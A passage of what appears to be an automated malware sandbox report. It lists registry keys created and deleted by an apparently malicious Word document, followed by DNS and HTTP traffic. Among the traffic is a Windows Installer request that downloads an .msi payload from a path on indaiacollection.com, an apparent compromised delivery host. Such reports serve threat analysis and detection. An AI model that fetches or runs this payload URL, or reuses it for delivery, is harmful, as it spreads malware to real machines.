  1860. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\MingLiU_HKSCS",
  1861. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\MingLiU_HKSCS-ExtB",
  1862. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\MingLiU-ExtB",
  1863. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Miriam",
  1864. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Miriam Fixed",
  1865. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Mistral",
  1866. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Modern No. 20",
  1867. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Mongolian Baiti",
  1868. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Monotype Corsiva",
  1869. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\MoolBoran",
  1870. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\MS Gothic",
  1871. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\MS Mincho",
  1872. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\MS Outlook",
  1873. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\MS PGothic",
  1874. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\MS PMincho",
  1875. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\MS Reference Sans Serif",
  1876. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\MS Reference Specialty",
  1877. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\MS UI Gothic",
  1878. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\MT Extra",
  1879. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\MV Boli",
  1880. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Narkisim",
  1881. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Niagara Engraved",
  1882. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Niagara Solid",
  1883. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Nirmala UI",
  1884. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\NSimSun",
  1885. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Nyala",
  1886. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\OCR A Extended",
  1887. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Old English Text MT",
  1888. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Onyx",
  1889. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Palace Script MT",
  1890. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Palatino Linotype",
  1891. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Papyrus",
  1892. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Parchment",
  1893. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Perpetua",
  1894. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Perpetua Titling MT",
  1895. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Plantagenet Cherokee",
  1896. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Playbill",
  1897. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\PMingLiU",
  1898. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\PMingLiU-ExtB",
  1899. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Poor Richard",
  1900. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Pristina",
  1901. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Raavi",
  1902. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Rage Italic",
  1903. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Ravie",
  1904. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Rockwell",
  1905. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Rockwell Condensed",
  1906. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Rockwell Extra Bold",
  1907. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Rod",
  1908. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Sakkal Majalla",
  1909. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Script MT Bold",
  1910. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Segoe Print",
  1911. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Segoe Script",
  1912. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Segoe UI",
  1913. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Segoe UI Light",
  1914. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Segoe UI Semibold",
  1915. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Segoe UI Semilight",
  1916. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Segoe UI Symbol",
  1917. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Shonar Bangla",
  1918. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Showcard Gothic",
  1919. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Shruti",
  1920. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\SimHei",
  1921. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Simplified Arabic",
  1922. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Simplified Arabic Fixed",
  1923. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\SimSun",
  1924. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\SimSun-ExtB",
  1925. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Snap ITC",
  1926. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Stencil",
  1927. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Sylfaen",
  1928. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Symbol",
  1929. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Tahoma",
  1930. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Tempus Sans ITC",
  1931. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Times New Roman",
  1932. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Traditional Arabic",
  1933. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Trebuchet MS",
  1934. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Tunga",
  1935. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Tw Cen MT",
  1936. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Tw Cen MT Condensed",
  1937. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Tw Cen MT Condensed Extra Bold",
  1938. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Utsaah",
  1939. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Vani",
  1940. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Verdana",
  1941. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Vijaya",
  1942. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Viner Hand ITC",
  1943. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Vivaldi",
  1944. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Vladimir Script",
  1945. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Vrinda",
  1946. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Webdings",
  1947. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Wide Latin",
  1948. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Wingdings",
  1949. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Wingdings 2",
  1950. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Wingdings 3",
  1951. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Toolbars\\Settings\\Microsoft Word",
  1952. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Reading Locations",
  1953. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Reading Locations\\Document 0",
  1954. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Reading Locations\\Document 0\\File Path",
  1955. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Reading Locations\\Document 0\\Datetime",
  1956. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Reading Locations\\Document 0\\Position",
  1957. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Data\\Settings",
  1958. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Options\\BackgroundOpen",
  1959. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\MTTF",
  1960. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\MTTA",
  1961. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Feedback\\AppUsageData_1"
  1962.  
  1963.  
  1964. * Deleted Registry Keys:
  1965. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Resiliency\\StartupItems\\:$,",
  1966. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Resiliency\\StartupItems\\h7*",
  1967. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\CacheReady",
  1968. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\LastRequest",
  1969. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\LastUpdate",
  1970. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\NextUpdate",
  1971. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Resiliency\\DocumentRecovery\\A16FA3\\A16FB2",
  1972. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\MTTT"
  1973.  
  1974.  
  1975. * DNS Communications:
  1976.  
  1977. "type": "A",
  1978. "request": "indaiacollection.com",
  1979. "answers":
  1980.  
  1981. "data": "46.105.57.169",
  1982. "type": "A"
  1983.  
  1984.  
  1985.  
  1986.  
  1987.  
  1988. * Domains:
  1989.  
  1990. "ip": "46.105.57.169",
  1991. "domain": "indaiacollection.com"
  1992.  
  1993.  
  1994.  
  1995. * Network Communication - ICMP:
  1996.  
  1997. * Network Communication - HTTP:
  1998.  
  1999. "count": 1,
  2000. "body": "",
  2001. "uri": "http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTBL0V27RVZ7LBduom%2FnYB45SPUEwQU5Z1ZMIJHWMys%2BghUNoZ7OrUETfACEAi4elAbvpzaLRZNPjlRv1U%3D",
  2002. "user-agent": "Microsoft-CryptoAPI/6.1",
  2003. "method": "GET",
  2004. "host": "ocsp.digicert.com",
  2005. "version": "1.1",
  2006. "path": "/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTBL0V27RVZ7LBduom%2FnYB45SPUEwQU5Z1ZMIJHWMys%2BghUNoZ7OrUETfACEAi4elAbvpzaLRZNPjlRv1U%3D",
  2007. "data": "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTBL0V27RVZ7LBduom%2FnYB45SPUEwQU5Z1ZMIJHWMys%2BghUNoZ7OrUETfACEAi4elAbvpzaLRZNPjlRv1U%3D HTTP/1.1\r\nConnection: Keep-Alive\r\nAccept: */*\r\nUser-Agent: Microsoft-CryptoAPI/6.1\r\nHost: ocsp.digicert.com\r\n\r\n",
  2008. "port": 80
  2009.  
  2010.  
  2011. "count": 1,
  2012. "body": "",
  2013. "uri": "http://ocsp.msocsp.com/MFQwUjBQME4wTDAJBgUrDgMCGgUABBRPC1vZt9qvn7bzY3Iidtbhla4mKQQUWIif1tycSCK3FD7%2FhIjo5oX%2F%2Bn0CE3sAAGyvV14%2FmEPDgh0AAAAAbK8%3D",
  2014. "user-agent": "Microsoft-CryptoAPI/6.1",
  2015. "method": "GET",
  2016. "host": "ocsp.msocsp.com",
  2017. "version": "1.1",
  2018. "path": "/MFQwUjBQME4wTDAJBgUrDgMCGgUABBRPC1vZt9qvn7bzY3Iidtbhla4mKQQUWIif1tycSCK3FD7%2FhIjo5oX%2F%2Bn0CE3sAAGyvV14%2FmEPDgh0AAAAAbK8%3D",
  2019. "data": "GET /MFQwUjBQME4wTDAJBgUrDgMCGgUABBRPC1vZt9qvn7bzY3Iidtbhla4mKQQUWIif1tycSCK3FD7%2FhIjo5oX%2F%2Bn0CE3sAAGyvV14%2FmEPDgh0AAAAAbK8%3D HTTP/1.1\r\nConnection: Keep-Alive\r\nAccept: */*\r\nIf-Modified-Since: Sat, 23 Mar 2019 17:46:18 GMT\r\nIf-None-Match: \"dd54d75d4688b8dc62b087df4e04af258704c48b\"\r\nUser-Agent: Microsoft-CryptoAPI/6.1\r\nHost: ocsp.msocsp.com\r\n\r\n",
  2020. "port": 80
  2021.  
  2022.  
  2023. "count": 1,
  2024. "body": "",
  2025. "uri": "http://indaiacollection.com/modules/jmsslider/views/img/layers/dir/omo.msi",
  2026. "user-agent": "Windows Installer",
  2027. "method": "GET",
  2028. "host": "indaiacollection.com",
  2029. "version": "1.1",
  2030. "path": "/modules/jmsslider/views/img/layers/dir/omo.msi",
  2031. "data": "GET /modules/jmsslider/views/img/layers/dir/omo.msi HTTP/1.1\r\nConnection: Keep-Alive\r\nAccept: */*\r\nUser-Agent: Windows Installer\r\nHost: indaiacollection.com\r\n\r\n",
  2032. "port": 80
  2033.  
  2034.  
  2035. "count": 2,
  2036. "body": "",
  2037. "uri": "http://crl.microsoft.com/pki/crl/products/microsoftrootcert.crl",
  2038. "user-agent": "Microsoft-CryptoAPI/6.1",
  2039. "method": "GET",
  2040. "host": "crl.microsoft.com",
  2041. "version": "1.1",
  2042. "path": "/pki/crl/products/microsoftrootcert.crl",
  2043. "data": "GET /pki/crl/products/microsoftrootcert.crl HTTP/1.1\r\nConnection: Keep-Alive\r\nAccept: */*\r\nIf-Modified-Since: Thu, 07 Mar 2019 06:00:16 GMT\r\nUser-Agent: Microsoft-CryptoAPI/6.1\r\nHost: crl.microsoft.com\r\n\r\n",
  2044. "port": 80
  2045.  
  2046.  
  2047. "count": 1,
  2048. "body": "",
  2049. "uri": "http://crl.microsoft.com/pki/crl/products/MicCodSigPCA_08-31-2010.crl",
  2050. "user-agent": "Microsoft-CryptoAPI/6.1",
  2051. "method": "GET",
  2052. "host": "crl.microsoft.com",
  2053. "version": "1.1",
  2054. "path": "/pki/crl/products/MicCodSigPCA_08-31-2010.crl",
  2055. "data": "GET /pki/crl/products/MicCodSigPCA_08-31-2010.crl HTTP/1.1\r\nConnection: Keep-Alive\r\nAccept: */*\r\nIf-Modified-Since: Thu, 14 Feb 2019 06:01:18 GMT\r\nUser-Agent: Microsoft-CryptoAPI/6.1\r\nHost: crl.microsoft.com\r\n\r\n",
  2056. "port": 80
  2057.  
  2058.  
  2059.  
  2060. * Network Communication - SMTP:
  2061.  
  2062. * Network Communication - Hosts:
  2063.  
  2064. * Network Communication - IRC:
Advertisement
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!